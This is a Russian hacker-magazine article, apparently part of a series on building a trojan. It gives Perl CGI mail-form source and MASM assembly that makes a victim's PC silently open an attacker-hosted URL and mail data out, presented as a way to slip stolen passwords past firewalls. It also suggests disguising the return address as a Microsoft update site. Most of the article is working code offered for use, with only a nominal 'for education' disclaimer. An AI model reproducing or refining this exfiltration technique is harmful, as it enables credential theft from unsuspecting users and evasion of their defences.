Продолжаем статьи про троян. Прежде чем
перейти к firewall-ам (а именно тему о том ,как
заставить их "сходить в сад"),
рассмотрим отсылку сообщения, которую они
не отловят. А именно отсылку через так
называемую обратную форму. Все видели такие
формы на web-страницах (кто не видел, на моем
есть) — их можно заполнить и запустится
скрипт, который отошлет сообщение на нужный
e-mail. Обычно такая форма — это в html тег <form
action="cgi-bin/mail.cgi" method=post>, и скрипт "*.cgi".
Всю инфу по ним можно найти в инете. При
вызове метода submit (нажатие кнопки или еще
чего-то), содержимое формы будет добавлено к
URL в следующей форме: "http:\\www.domain.com\mail.cgi? name=value&name=value&
name=value". Где "name" — имя input-ов и т.п., а
"value" — введенные в эти input-ы данные.
Вывод напрашивается сам собой: сделать
эмуляцию заполнения тела письма и эмулюцию
submit. Проще говоря: юзер сам зашел, сам ввел
свои пароли и сам это письмо нам отправил.

В WinAPI (универсалы хреновы) есть функция
"ShellExecute", которая способна открывать
указанный url вот таким образом: "ShellExecute(0,’open’,’http://www.danil.dp.ua’,»,»,SW_HIDE);".
Последним параметром мы скрываем
приложение. При выполнении этой команды,
маздай запускает броузер по умолчанию и
открывает url http://www.danil.dp.ua/. Теперь, если мы
запустим "ShellExecute (0,’open’, ‘http://www.danil.dp.ua/cgi-bin/mail.cgi?
comment=Hi I am troyan2’,»,» ,SW_HIDE);" и напишем
соответствующий скрипт, то это будет все
равно, что просубмититься в форме с
заполненным input-ом "comment".

Приводить здесь html с формой я не буду —
есть на www.danil.dp.ua
— "послать мне мыло (web)"—"view source".
Обратную форму я когда-то взял у Vicont (http://alex.azdata.net)
— потом только ее переделывал под свои нужды.
Вот текст "mail.cgi":

#!/usr/local/bin/perl
# Путь к perl
$mail_prog = "/usr/sbin/sendmail" ;
# Путь к sendmail

$recip = "dndanil\@ukr.net" ; 
# Кому письмо
$email = "dndanil\@ukr.net" ;
# От кого письмо

$url = "http://www.danil.dp.ua/" ;
# Перейдет после отсылки
$subject = "Troyan2" ;
# Тема
$myurl = "http://www.danil.dp.ua/" ;
$errmsg = "<p>Введите правильный e-mail</p>\n"
;
$errmsg1 = "<p>Введите правильный адрес
домашней странички</p>\n";

# Кодировка
$char = "Windows-1251";

&GetFormInput;

$comment = $field{‘comment’} ;
# Получаем данные

$message = "" ;
$found_err = "" ;

if ($email !~ /.+\@.+\..+/) {
$message = $message.$errmsg ;
$found_err = 1 ; }

if ($found_err) {
&PrintError; }

open (MAIL, "|$mail_prog -t");
print MAIL "To: $recip\n";
print MAIL "Reply-to: $email\n";
print MAIL "From: $email\n";
print MAIL "MIME-Version: 1.0\n";
print MAIL "Content-Transfer-Encoding: 8bit\n";
print MAIL "Content-Type: text/plain; charset=\"$char\"\n";
print MAIL "Subject: $subject\n\n";
print MAIL "Reply-to: $email\n";
print MAIL "From: $email\n";
print MAIL "Subject: $subject\n\n";
print MAIL "".$comment ."\n\n";
print MAIL "Сообщение послали с: $ENV{REMOTE_ADDR},
Обозреватель: $ENV{HTTP_USER_AGENT}\n";
close (MAIL);

print "Location: $url\nURL: $url\n\n" ;

sub PrintError { 

print "Content-type: text/html\n\n";
print $message ;

exit 0 ;
return 1 ; 
}

sub GetFormInput {

(*fval) = @_ if @_ ;

local ($buf);
if ($ENV{‘REQUEST_METHOD’} eq ‘POST’) {
read(STDIN,$buf,$ENV{‘CONTENT_LENGTH’});
}
else {
$buf=$ENV{‘QUERY_STRING’};
}
if ($buf eq "") {
return 0 ;
}
else {
@fval=split(/&/,$buf);
foreach $i (0 .. $#fval){
($name,$val)=split (/=/,$fval[$i],2);
$val=~tr/+/ /;
$val=~ s/%(..)/pack("c",hex($1))/ge;
$name=~tr/+/ /;
$name=~ s/%(..)/pack("c",hex($1))/ge;

if (!defined($field{$name})) {
$field{$name}=$val;
}
else {
$field{$name} .= ",$val";

#if you want multi-selects to goto into an array change to:
#$field{$name} .= "\0$val";
}

}
}
return 1;
}

Тут конечно много лишнего, но отбора
лишнего возлагаю на ваши хрупкие плечи. Для
того, чтобы запускать этот скрипт,
необходимо оформиться в каком-нибудь
сервисе, предоставляющем место под свою
страницу с возможностью запускать cgi-скрипты.
При оформлении они должны сообщить о путях
к Perl и SendMail. В первой и второй строчках
прописываем пути, ставим кому письмо и от
кого, ставим тему (см. комментарии). Помещаем
файл "mail.cgi" в cgi-bin каталог. Ставим ему
свойства "rwxr-xr-x" коммандой "chmod 755".
Теперь при открытии url "http://www.domain.com/cgi-bin/
mail.cgi?comment=Hi I am troyan2", мы должны получить
письмо на dndanil@ukr.net с темой "Troyan2", в
кодировке "Windows-1251" и с текстом "Hi, I am
troyan2". Заразом там будет IP-адрес человека,
пославшего сообщение или адрес его прокси-сервера.
Теперь надо написать эмуляцию открытия
этого url. Вот исходники на асме
("troyan2.asm"):

.486
.model flat,stdcall
option casemap:none

include \masm32\include\shell32.inc
includelib \masm32\lib\shell32.lib
; ———————————————-
.DATA 
Url db "http://www.domain.com/cgi-bin/mail.cgi?comment=Hi I am
troyan2",0 ; url
open db "open",0
; ———————————————-
; ———————————————-
; ———————————————-
.CODE
start: 
; Запуск открытия url
invoke ShellExecute, 0, addr open, addr Url, 0, 0, 0
END start 

Естественно как трояна эту структуру
использовать пока нельзя — у юзера при
запуске этой проге вылезет окно броузера.
Тут надо еще дорабатывать — ну так я все
разжевывать и не обещал. У кого руки не
кривые, тот разберется что делать.
Преимущества данного метода такие:
стандартные firewall-ы не отлавливают и свой
обратный адрес можно править не имея
доступа к юзеру. Недостатков тоже много.
Кстати, можно возвратный адрес в скрипте
ставить адрес обновления m$ window$.

web-страница программы : www.danil.dp.ua;
исходники, статьи : www.danil.dp.ua/troyan.zip.

P.S. Статья и программа предоставлена в целях
обучения и вся ответственность за
использование ложится на твои хилые плечи.

Оставить мнение

Check Also

Хакер ищет авторов. Читатель? Хакер? Программист? Безопасник? Мы тебе рады!

Восемнадцать лет мы делаем лучшее во всем русскоязычном пространстве издание по IT и инфор…